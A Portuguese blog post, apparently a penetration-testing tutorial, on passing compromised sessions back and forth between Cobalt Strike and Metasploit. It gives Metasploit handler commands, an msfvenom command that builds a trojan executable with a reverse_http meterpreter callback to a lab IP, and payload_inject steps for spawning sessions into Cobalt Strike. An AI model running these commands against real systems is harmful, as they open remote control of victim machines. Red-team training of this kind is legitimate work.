Derivação Mútua entre MSF e CS

CS derivando para MSF

Configurando listener no CS
  1. Criar porta de escuta no CS
  2. Gerar implantável (beacon/agente) usando a porta do CS
  3. Enviar para a máquina alvo e executar; receber requisição
  4. Criar porta de escuta para encaminhamento ao MSF
Recebendo derivação no MSF
  1. Configurar MSF
    • Usar módulo multi/handler:``` use exploit/multi/handler

    • Definir payload, endereço de escuta e porta:
      Payload:
      set payload <payload>
      Exemplo:``` set payload windows/meterpreter/reverse_http

      
      Endereço:  
      `set LHOST <IP>`  
      Exemplo:```
      set LHOST 192.168.49.130
      
      

      Porta:
      set LPORT <porta>
      Exemplo:``` set LPORT 4445

    • Após configurar, executar:

      • Verificar configurações:``` show options

      • Executar em background:

        • Habilitar escuta global persistente:``` setg EXITONSESSION false

        • Rodar:``` run -j

          
          ou```
          exploit -j
          
          
      • Verificar jobs ativos:
        jobs

        Para matar um job: jobs -k <id>

  2. No CS, selecionar o implantável que se deseja derivar para o MSF:
    • Com o botão direito sobre o beacon, escolher "Spawn"
    • Selecionar a porta de derivação criada anteriormente
  3. Observar que o MSF recebe a sessão derviada do CS:
    • Entrar na sessão para testar:
      sessions <id>
      Exemplo:``` sessions 1

      
      `pwd`  
      ![]()  
      Nota: matar sessão com `sessions -k <id>`
      
  4. Possíveis problemas:
    • Durante o encaminhamento, a máquina alvo pode exibir erro de memória (0x00ad0002, 0x00000000).
    • O listener no MSF pode falhar.

      Causa comum: incompatibilidade entre o payload do listener do MSF e o payload do beacon do CS.

MSF derivando para CS

Configurando listener no MSF
  1. Gerar cavalo de Troia com msfvenom:``` msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.49.130 LPORT=9999 -f exe -o http_9999.exe

  2. Configurar listener no MSF (IP e porta devem coincidir com o msfvenom):

    Executar com run -j ou exploit -j.

  3. Executar no alvo e verificar sessão:

  4. Derivar a sessão meterpreter do MSF para o CS:

    • No CS, criar listener interno:

    • No MSF, usar módulo exploit/windows/local/payload_inject:``` use exploit/windows/local/payload_inject

      
      *Observação: se estiver dentro de uma sessão, pode usar Ctrl+Z para colocá-la em background.*
      
    • Configurar módulo e executar:``` set LHOST <IP do CS> set LPORT <porta do CS> set session <id da sessão a derivar>

    • Verificar se o CS recebeu a derivação corretamente:

      • Listener aparecerá:
      • Testar funcionalidade:
  5. Possíveis problemas:

    • O MSF exibe mensagens de erro, mas o CS não recebe a sessão:

      Necessário definir set DisablePayloadHandler true para evitar que o MSF trate o payload localmente e interfira no listener do CS.

Tags: metasploit cobalt-strike penetration-testing payload-injection session-spawning

Publicado em 6-15 01:28 por Thomas